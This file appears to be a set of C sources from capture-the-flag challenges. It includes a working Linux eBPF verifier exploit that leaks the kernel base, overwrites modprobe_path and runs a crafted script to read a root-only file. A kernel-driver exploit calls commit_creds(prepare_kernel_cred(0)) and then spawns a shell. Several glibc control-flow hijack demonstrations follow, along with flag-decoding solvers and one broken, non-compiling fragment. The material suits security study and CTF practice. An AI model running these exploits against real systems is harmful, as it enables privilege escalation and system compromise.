#include <linux/bpf.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include "bpf_insn.h"

unsigned long kernel_base = 0;
unsigned long addr_heap = 0;

unsigned long off_target   = 0xffffffffb298babf - 0xffffffffb2400000;
unsigned long off_modprobe = 0xffffffffbd238340 - 0xffffffffbc400000;

void fatal(const char *msg) 
{
	perror(msg);
	exit(1);
}

int bpf(int cmd, union bpf_attr *attrs) 
{
	return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int map_create(int val_size, int max_entries)
{
	union bpf_attr attr = {
		.map_type = BPF_MAP_TYPE_ARRAY,
		.key_size = sizeof(int),
		.value_size = val_size,
		.max_entries = max_entries
	};
	int mapfd = bpf(BPF_MAP_CREATE, &attr);
	if(mapfd < 0) fatal("bpf(BPF_MAP_CREATE)");
	return mapfd;
}

int map_update(int mapfd, int key, void* pval) {
	union bpf_attr attr = {
		.map_fd = mapfd,
		.key = (uint64_t)&key,
		.value = (uint64_t)pval,
		.flags = BPF_ANY
	};

	int res = bpf(BPF_MAP_UPDATE_ELEM, &attr);
	if(res < 0) fatal("bpf(BPF_MAP_UPDATE_ELEM)");
	return res;
}

int map_lookup(int mapfd, int key, void *pval)
{
	union bpf_attr attr = {
		.map_fd = mapfd,
		.key = (uint64_t)&key,
		.value = (uint64_t)pval,
		.flags = BPF_ANY
	};

	return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

unsigned long leak_address(int mapfd) {
	char verifier_log[0x10000];
	unsigned long val;

	struct bpf_insn insns[] = {
		BPF_MOV64_REG(BPF_REG_7, BPF_REG_ARG1),
		BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x8, 0), // fp_x8 key=0
		BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
		BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
		BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &key)
		BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
		BPF_EXIT_INSN(),
		
		BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),
		BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0),
		
		BPF_MOV64_IMM(BPF_REG_4, -1),

		// r8 = 0 / real 1
		BPF_ALU32_REG(BPF_LSH, BPF_REG_8, BPF_REG_4),
		BPF_ALU64_IMM(BPF_RSH, BPF_REG_8, 31),
		
		// r8 = 1 / real 0x10
		BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x9-1),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x1),

		BPF_MOV64_IMM(BPF_REG_3, 1),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -0x28),
		BPF_MOV64_REG(BPF_REG_3, BPF_REG_FP),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x28),
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -0x18),
		BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),			
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),		// arg4 = fp-0x20

		BPF_MOV64_IMM(BPF_REG_ARG2, 0),
		BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_8),
		BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_7),
		BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

		BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_FP, -0x18),
		BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0),
	
		// map_update_elem	
		BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x8, 0), 			// [fp-0x8]=0(key)
		
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_8, -0x10),	// [fp-0x10]=r2
		BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),					// arg1 = mapfd
		BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x8),			// arg2 = fp-0x8
		BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),		// arg3 = fp=010
		BPF_MOV64_IMM(BPF_REG_ARG4, 0),
		BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

		BPF_MOV64_IMM(BPF_REG_0, 0),
		BPF_EXIT_INSN(),
	};

	union bpf_attr prog_attr = {
		.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
		.insn_cnt = sizeof(insns) / sizeof(insns[0]),
		.insns = (uint64_t) insns,
		.license = (uint64_t)"GPL v2",
		.log_level = 2,
		.log_size = sizeof(verifier_log),
		.log_buf = (uint64_t)verifier_log,
	};

	int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
	if (progfd == -1) {
		printf("%s\n", verifier_log);
		fatal("bpf(BPF_PROG_LOAD)");
	}
	printf("%s\n", verifier_log);

	int socks[2];
	if(socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
		fatal("socketpair");
	if(setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
		fatal("setsockopt");
	

	int i;
	char payload[0x10];
	*(unsigned long*)&payload[0] = 0x4141414141414141;
	for(i = 0; i < 0x100; i+=8) {
		val = 1;	
		map_update(mapfd, 0, &val);
		payload[0x8] = i;
		write(socks[1], payload, 0x9);
		map_lookup(mapfd, 0, &val);
	
		printf("0x%03lx: %016llx\n", i, val);
		if(i == 0xb8)
			kernel_base = val - off_target;	
	}
	printf("kbase = %016llx\n", kernel_base);
	return val;
}

void aaw64(int mapfd, unsigned long addr, unsigned long data) {
	char verifier_log[0x10000];
	unsigned long val;

	struct bpf_insn insns[] = {
		BPF_MOV64_REG(BPF_REG_7, BPF_REG_ARG1),
		BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x8, 0), // fp_x8 key=0
		BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
		BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
		BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &key)
		BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
		BPF_EXIT_INSN(),
		
		BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),			// r9 = mapaddr
		BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0), 	// r8 = &map[0]
		
		BPF_MOV64_IMM(BPF_REG_4, -1),

		// r8 = 0 / real 1
		BPF_ALU32_REG(BPF_LSH, BPF_REG_8, BPF_REG_4),
		BPF_ALU64_IMM(BPF_RSH, BPF_REG_8, 31),
		
		// r8 = 1 / real 0x10
		BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x10-1),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x1),

		
		BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_9, -0x18),		// [fp-0x18] = mapaddr
		BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),			
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),		// arg3 = fp-0x20

		BPF_MOV64_IMM(BPF_REG_ARG2, 0),						// arg2 = 0
		BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_8),				// arg4 = len(1/0x10)
		BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_7),				// arg1 = skb
		BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

		BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_FP, -0x18),	// r9 = [fp-0x18]
	
		BPF_MOV64_IMM(BPF_REG_1, data >> 32),
		BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, data & 0xffffffff),
		BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_1, 0), 			// [fp-0x28] = data

		BPF_MOV64_IMM(BPF_REG_0, 0),
		BPF_EXIT_INSN(),
	};

	union bpf_attr prog_attr = {
		.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
		.insn_cnt = sizeof(insns) / sizeof(insns[0]),
		.insns = (uint64_t) insns,
		.license = (uint64_t)"GPL v2",
		.log_level = 2,
		.log_size = sizeof(verifier_log),
		.log_buf = (uint64_t)verifier_log,
	};

	int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
	if (progfd == -1) {
		printf("%s\n", verifier_log);
		fatal("bpf(BPF_PROG_LOAD)");
	}
	printf("%s\n", verifier_log);

	int socks[2];
	if(socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
		fatal("socketpair");
	if(setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
		fatal("setsockopt");

	int i;
	char payload[0x10];
	*(unsigned long*)&payload[0] = 0x4141414141414141;
	*(unsigned long*)&payload[8] = addr;
	val = 1;	
	map_update(mapfd, 0, &val);
	write(socks[1], payload, 0x10);
	map_lookup(mapfd, 0, &val);
	printf("target = 0x%016llx\n", addr);
	//read(socks[0], payload, 0x10);
}


int main()
{
	int mapfd = map_create(0x8, 2);
	int socks[2];
	unsigned long d = 0x6d6b2f706d742f; // /tmp/km	
	leak_address(mapfd);
	aaw64(mapfd, kernel_base+off_modprobe, d);
	
	// after overwrite modprobe_path
	system("touch /tmp/flag");
	system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/invalid");
	system("chmod u+x /tmp/invalid");
	system("echo '#!/bin/sh\n cat /root/flag.txt > /tmp/flag' > /tmp/km ");
	system("chmod u+x /tmp/km");
	system("/tmp/invalid");

	return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char table[38] =  {62,85,25,84,47,56,118,71,109,0,90,71,115,9,30,58,32,101,40,20,66,111,3,92,119,22,90,11,119,35,61,102,102,115,87,89,34,34};
unsigned char key[] = "CakeCTF 2022";
unsigned char flag[0x100] = {0};

void main()
{
	int i;
	for(i = 0; i < 38; i++){
		flag[38-i-1] = key[i%strlen(key)] ^ table[i];
	}
	puts(flag);
}

static void priv_escalation() {
	char* (*pkc)(int) = prepare_kernel_cred;
	void (*cc)(char*) = commit_creds;
	(*cc)((*pkc)(0));
}

int main(){
	int fd = open("/dev/welkerme", O_RDWR);
	if( fd < 0){
		err_exit("fuck");
	}
	ioctl(fd, CMD_EXEC, priv_escalation);
	system("/bin/sh");
	return 0;
}

#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x84450;
unsigned long off_malloc_hook = 0x1ecb70;
unsigned long off_free_hook = 0x1eee48;

void target1(unsigned long arg1)
{
    printf("In target1(): arg1=0x%lx\n", arg1);
    return;
}

void target2(unsigned long arg1)
{
    printf("In target2(): arg1=0x%lx\n", arg1);
    return;
}

void main()
{
    printf("Start of main()\n");

    void* libc_base = &puts - (unsigned long)off_puts;
    printf("libc_base = %p\n",libc_base);
    void* ptr_malloc_hook = libc_base+off_malloc_hook;
    void* ptr_free_hook = libc_base+off_free_hook;

    // normal
    char* ptr = malloc(0x400);
    free(ptr);

    // overwrite symbols
    *(unsigned long*)ptr_malloc_hook = target1;
    *(unsigned long*)ptr_free_hook = target2;

    malloc(0xff); // exploit
    free(ptr);    // exploit

    puts("End of main()");
    return;
}

#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x80ed0;
unsigned long off_tls = 0x7ffff7d8a740 - 0x7ffff7d8d000;
unsigned long off_exit_funcs = 0x7ffff7fa6838 - 0x7ffff7d8d000;

#define ENC_FUNC(ptr,pg) ((ptr^pg)<<0x11|(ptr^pg)>>(0x40-0x11))

void target1(unsigned long arg1)
{
    printf("In target1(): arg1=0x%lx\n", arg1);
    return;
}

void target2(unsigned long arg1)
{
    printf("In target2(): arg1=0x%lx\n", arg1);
    return;
}

void main()
{
    printf("Start of main()\n");

    void* libc_base = &puts - (unsigned long)off_puts;
    printf("libc_base = %p\n",libc_base);
    void* tls = libc_base + off_tls;
    printf("tls = %p\n",tls);
    void* exit_funcs = libc_base + off_exit_funcs;
    printf("exit_funcs = %p\n",exit_funcs);

    // prepare for exploit
    unsigned long fake_pointer_guard = 0xdeadbeef;
    void* fake_exit_function_list = malloc(0x200);

    *(unsigned long*)(fake_exit_function_list +  0x0) = 0;          // next
    *(unsigned long*)(fake_exit_function_list +  0x8) = 2;          // idx (number of functions)
    *(unsigned long*)(fake_exit_function_list + 0x10) = 4;          // fns[0].flavor
    *(unsigned long*)(fake_exit_function_list + 0x18) =
            ENC_FUNC((unsigned long)target1,fake_pointer_guard);    // fns[0].func.fn
    *(unsigned long*)(fake_exit_function_list + 0x20) = 0x12345678; // fns[0].func.arg
    *(unsigned long*)(fake_exit_function_list + 0x30) = 4;          // fns[1].flavor
    *(unsigned long*)(fake_exit_function_list + 0x38) =
            ENC_FUNC((unsigned long)target2,fake_pointer_guard);    // fns[1].func.fn
    *(unsigned long*)(fake_exit_function_list + 0x40) = 0x9abcdef0; // fns[1].func.arg

    // overwrite symbols
    *(unsigned long*)(tls+0x30) = fake_pointer_guard;
    *(unsigned long*)exit_funcs = (unsigned long)fake_exit_function_list;

    puts("End of main()");
    // _exit(0); //not work
    // exit(0);
    return;
}

#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x875a0;
unsigned long off_IO_list_all = 0x1ec5a0;
unsigned long off_vtable = 0x1ed4a0;

void target1(unsigned long arg1)
{
    printf("In target1(): arg1=0x%lx\n", arg1);
    return;
}

void main()
{
    printf("Start of main()\n");

    void* libc_base = &puts - (unsigned long)off_puts;
    printf("libc_base = %p\n",libc_base);
    void* IO_list_all = libc_base + off_IO_list_all;
    printf("IO_list_all = %p\n",IO_list_all);
    void* vtable = libc_base + off_vtable;
    printf("vtable = %p\n",vtable);

    // prepare for exploit
    void* fake_io_struct = malloc(0x400);
    printf("fake_io_struct = %p\n", fake_io_struct);

    *(unsigned long*)(fake_io_struct+ 0x0) = 0xdeadbeef;    // *fp  arg1
    *(unsigned long*)(fake_io_struct+0x20) = 0;             // _IO_write_base
    *(unsigned long*)(fake_io_struct+0x28) = 1;             // _IO_write_end
    *(int*)(fake_io_struct+0xc0) = 0;                       // _mode
    *(unsigned long*)(fake_io_struct+0xd8) = (unsigned long)vtable - 0x10; // vtable

    // overwrite symbols
    *(unsigned long*)(vtable + 0x8) = target1; // fake _IO_OVERFLOW
    *(unsigned long*)IO_list_all = fake_io_struct;

    puts("End of main()");
    // _exit(0); //not work
    // exit(0);
    return;
}

#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts =         0x7ffff7e4a450 - 0x7ffff7dc6000;
unsigned long off_IO_list_all =  0x7ffff7fb35a0 - 0x7ffff7dc6000;
unsigned long off_IO_cookie_jumps = 0x7ffff7faea20 - 0x7ffff7dc6000;
unsigned long off_tls          = 0x7ffff7fb9540 - 0x7ffff7dc6000;

#define ENC_FUNC(ptr,pg) ((ptr^pg)<<0x11|(ptr^pg)>>(0x40-0x11))

void target1(unsigned long arg1)
{
    printf("In target1(): arg1=0x%lx\n", arg1);
    return;
}

void main()
{
    printf("Start of main()\n");

    void* libc_base = &puts - (unsigned long)off_puts;
    printf("libc_base = %p\n",libc_base);
    void* IO_list_all = libc_base + off_IO_list_all;
    printf("IO_list_all = %p\n",IO_list_all);
    void* IO_cookie_jumps = libc_base + off_IO_cookie_jumps;
    printf("IO_cookie_jumps = %p\n",IO_cookie_jumps);
    void* tls = libc_base + off_tls;
    printf("tls = %p\n",tls);

    // prepare for exploit
    void* fake_io_struct = malloc(0x400);
    unsigned long pointer_guard = *(unsigned long*)(tls+0x30);

    *(unsigned long*)(fake_io_struct+0x20) = 0;             // _IO_write_base
    *(unsigned long*)(fake_io_struct+0x28) = 1;             // _IO_write_end
    *(int*)(fake_io_struct+0xc0) = 0;                       // _mode
    *(unsigned long*)(fake_io_struct+0xe0) = 0xdeadbeef;    // _cookie

    // _IO_cookie_read
    *(unsigned long*)(fake_io_struct+0xd8) = (unsigned long)IO_cookie_jumps+0x58; // vtable
    *(unsigned long*)(fake_io_struct+0xe8) =
                ENC_FUNC((unsigned long)target1, pointer_guard); // cookie_io_functions_t.read

    // _IO_cookie_write
    //*(unsigned long*)(fake_io_struct+0xd8) = (unsigned long)IO_cookie_jumps+0x60; // vtable
    //*(unsigned long*)(fake_io_struct+0xf0) = 
    //          ENC_FUNC((unsigned long)target1, pointer_guard); // cookie_io_functions_t.read

    // _IO_cookie_seek
    //*(unsigned long*)(fake_io_struct+0xd8) = (unsigned long)IO_cookie_jumps+0x68; // vtable
    //*(unsigned long*)(fake_io_struct+0xf8) = 
    //          ENC_FUNC((unsigned long)target1, pointer_guard); // cookie_io_functions_t.read

    // _IO_cookie_close
    //*(unsigned long*)(fake_io_struct+0xd8) = (unsigned long)IO_cookie_jumps+0x70; // vtable
    //*(unsigned long*)(fake_io_struct+0x100) = 
    //          ENC_FUNC((unsigned long)target1, pointer_guard); // cookie_io_functions_t.read

    // overwrite symbols
    *(unsigned long*)IO_list_all = fake_io_struct;

    puts("End of main()");
    // _exit(0); //not work
    // exit(0);
    return;
}

#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x80ed0;
unsigned long off_printf_function_table = 0x7ffff7fa89c8 - 0x7ffff7d8d000;
unsigned long off_printf_arginfo_table = 0x7ffff7fa78b0 - 0x7ffff7d8d000;

void target1(unsigned long arg1)
{
    printf("In target1(): arg1=0x%lx\n", arg1);
    return;
}

void main()
{
    printf("Start of main()\n");

    void* libc_base = &puts - (unsigned long)off_puts;
    printf("libc_base = %p\n",libc_base);
    void* printf_function_table = libc_base + off_printf_function_table;
    void* printf_arginfo_table = libc_base + off_printf_arginfo_table;

    printf("__printf_function_table = %p\n",printf_function_table);
    printf("__printf_arginfo_table = %p\n",printf_arginfo_table);

    printf("%K\n");
    // prepare for exploit
    void* area_readable = malloc(0x100);
    void* fake_arginfo_table = malloc(0x400); // enough size

    *(unsigned long*)(fake_arginfo_table + 'K'*8) = target1;

    // overwrite symbols
    *(unsigned long*)printf_function_table = (unsigned long)area_readable;
    *(unsigned long*)printf_arginfo_table = (unsigned long)fake_arginfo_table;

    printf("%K\n"); // exploit
    puts("End of main()");
    return;
}

#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x80ed0;
unsigned long off_ld = 0x7fe5d6f2d000 - 0x7fe5d6cfd000; // ld_base - libc_base 
//unsigned long off_ld = 0x7ffff7fc3000 - 0x7ffff7d8d000; // for gdb
unsigned long off_rtld_global = 0x7ffff7ffd040 - 0x7ffff7fc3000;

void target1(unsigned long arg1)
{
    printf("In target1(): arg1=0x%lx\n", arg1);
    return;
}

void target2(unsigned long arg1)
{
    printf("In target2(): arg1=0x%lx\n", arg1);
    return;
}

void main()
{
    int i;

    printf("Start of main()\n");

    void* libc_base = &puts - (unsigned long)off_puts;
    printf("libc_base = %p\n",libc_base);
    void* rtld_global = libc_base + off_ld + off_rtld_global;
    printf("rtld_global = %p\n",rtld_global);

    // prepare for exploit
    unsigned int ns_loaded = 4;
    void* fake_link_maps[ns_loaded];

    for(i = ns_loaded-1; i >= 0; i--){
        fake_link_maps[i] = malloc(0x400);                              // enough for size of link_map
        *(unsigned long*)(fake_link_maps[i] + 0x28) = fake_link_maps[i]; // link_map->l_real
        if(i == ns_loaded-1)
            *(unsigned long*)(fake_link_maps[i] + 0x18) = 0;            // link_map->l_next
        else
            *(unsigned long*)(fake_link_maps[i] + 0x18) = fake_link_maps[i+1];
    }

    void* fake_array      = malloc(0x10);
    void* fake_array_size = malloc(0x10);
    void* fake_func_table = malloc(0x10);

    *(unsigned long*)(fake_link_maps[0] + 0x110) = fake_array;          // link_map->l_info[DT_FINI_ARRAY]
    *(unsigned long*)(fake_array + 8) = fake_func_table;

    *(unsigned long*)(fake_link_maps[0] + 0x120) = fake_array_size;     // link_map->l_info[DT_FINI_ARRAY]
    *(unsigned long*)(fake_array_size + 8) = 0x10;

    *(unsigned int*)(fake_link_maps[0] + 0x31c) = 8;                    // link_map->l_init_call (bit field)

    *(unsigned long*)(fake_func_table + 0) = target1;
    *(unsigned long*)(fake_func_table + 8) = target2;

    // overwrite symbols
    *(unsigned long*)rtld_global = (unsigned long)fake_link_maps[0];

    puts("End of main()");
    // _exit(0); //not work
    // exit(0);
    return;
}

#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x80ed0;
unsigned long off_got_memset_in_libc = 0x219188;

void target1(unsigned long arg1)
{
    printf("In target1(): arg1=0x%lx\n", arg1);
    return;
}

void main()
{
    printf("Start of main()\n");

    void* libc_base = &puts - (unsigned long)off_puts;
    printf("libc_base = %p\n",libc_base);
    void* got_memset_in_libc = libc_base + off_got_memset_in_libc;
    printf("got_memset_in_libc = %p\n",got_memset_in_libc);

    // before overwrite
    void* ptr = calloc(0x58,1);

    // overwrite symbols
    *(unsigned long*)got_memset_in_libc = target1;

    puts("before memset()");

    memset(ptr, 0, 0x58); // not work (memset() from user binary)

    puts("before calloc()");

    ptr = calloc(0x58,1); // exploit (memset() from libc)
    puts("End of main()");
    return;
}

void check(char* ptr, int off)
{
 int half;
 int len = strlen(ptr);
 char* ptr1, ptr2;
 if(len == 1){
     if(ptr[0] == enc_flag[off])
         return 0;
     else
         return 1;
 }
 half = len>>1;
 ptr1 =  malloc(half);
 strcpy(ptr1, ptr, half);
 if(check(ptr1, off) ==1 ) return 1;

 ptr2 = malloc(len-half);
 strcpy(ptr2, &ptr[half], len-half);
 if(check(ptr1, off+half*half)
}

#include <stdio.h>
#include <stdlib.h>

unsigned long table[512/8] = {
0x2b2834662a607463,      0x31382e2235396362,
0x2f6333726d687b62,      0x353b267b3a40727d,
0x2c683c2a646f3431,      0x6c3f77786d64276e,
0x656e296f79286765,      0x2f7160287b2d6a2b,
0x2b3024287c337272,      0x636e5f7b7a2e7335,
0x7631737b24727561,      0x7121682970212535,
0x385f406c3d3c7427,      0x34636f775f333968,
0x6162633f3e25646c,      0x3c6c7c786761643c,
0x2d6b60792c792f62,      0x2c38267b3b3d7b37,
0x7d636b6b24357538,      0x306d743c40713740,
0x797631662c263a33,      0x326c796425382762,
0x23713731373f6728,      0x6f76292877663e75,
0x5f293a296736246f,      0x62672e76382b5f63,
0x683c28772425286d,      0x767572276321313a,
0x722161796033407d,      0x676f5f7a353b2635,
0x733332633961306d,      0x777c23692e2d776d,
0x77766670656b387b,      0x653c3566337c333a,
0x733e712c2a7d3a40,      0x7830726b64622167,
0x682a352f683e4037,      0x7b7c273934373c69,
0x242c303b316a7329,      0x30743d2976266769,
0x226a33307c6b6e66,      0x7d69747d7b72377d,
0x756a7877733c5f3f,      0x216264266c216b31,
0x2a367d7a217d3a6a,      0x407331667b5f3160,
0x35346f69762c6433,      0x33765f6376345f3c,
0x79622b3e3375683e,      0x292b664023237176,
0x69392b773139636c,      0x72723b723c762337,
0x763e746128407524,      0x6d736a6062373a6e,
0x6d392b7b796d3667,      0x755f707079722d5f,
0x38667d2e362a6e35,      0x71262d6d3c677070,
0x753d3f66336b3571,      0x3c396e3f5f6d7d31,
0x66252f2d2a74657c,      0x5f40286d312e6867,
0x296e286934667633,      0x346d3067766a3273
};

#define FLAG_LEN 0x26

int a_idx[FLAG_LEN] = {0};

void plus_idx(int off, int l)
{
    int i;
    if(l == 1){
        return;
    }
    else {
        int div = l/2;
        for(i = div; i < l; i++){
            a_idx[off+i] += (div*div);
        }
        plus_idx(off,l/2);
        plus_idx(off+l/2, l - (l/2));
    }
}

void main()
{
    int i;
    char* flag = (char*)table;

    plus_idx(0, FLAG_LEN);

    for(i = 0; i < FLAG_LEN; i++){
        printf("%c", flag[a_idx[i]]);
    }
    printf("\n");
}

#include <stdio.h>

unsigned char enc_flag[0x32] = {
	0x2b,0xa9,0xf3,0x6f,0xa2,0x2e,0xcd,0xf3,
	0x78,0xcc,0xb7,0xa0,0xde,0x6d,0xb1,0xd4,
	0x24,0x3c,0x8a,0x89,0xa3,0xce,0xab,0x30,
	0x7f,0xc2,0xb9,0x0c,0xb9,0xf4,0xe7,0xda,
	0x25,0xcd,0xfc,0x4e,0xc7,0x9e,0x7e,0x43,
	0x2b,0x3b,0xdc,0x09,0x80,0x96,0x95,0xf6,
	0x76,0x10
};

unsigned char random[0x10] = {0x72,0x67,0x55,0x41,0x76,0x76,0x79,0x66,0x79,0x41,0x70,0x4e,0x50,0x45,0x59,0x67};

unsigned char map[0x100] = {0};

void main()
{
	int i, j, l;
	unsigned char t;
	for(i = 0; i < 0x100; i++){
		map[i] = i;
	}
	t = 0;
	for(i = 0; i < 0x100; i++){
		t = (t+map[i]+random[i%0x10])&0xff;
		map[t] ^= map[i];
		map[i] ^= map[t];
		map[t] ^= map[i]; // swap
	}
	i = 0;
	j = 0;
	for(l = 0; l<0x32; l++) {
		i += 1;
		j = (j+map[i])&0xff;
		map[j] ^= map[i];
		map[i] ^= map[j];
		map[j] ^= map[i];
		enc_flag[l] ^= map[(map[i]+map[j])&0xff];
	}
	printf("%s\n", enc_flag);
}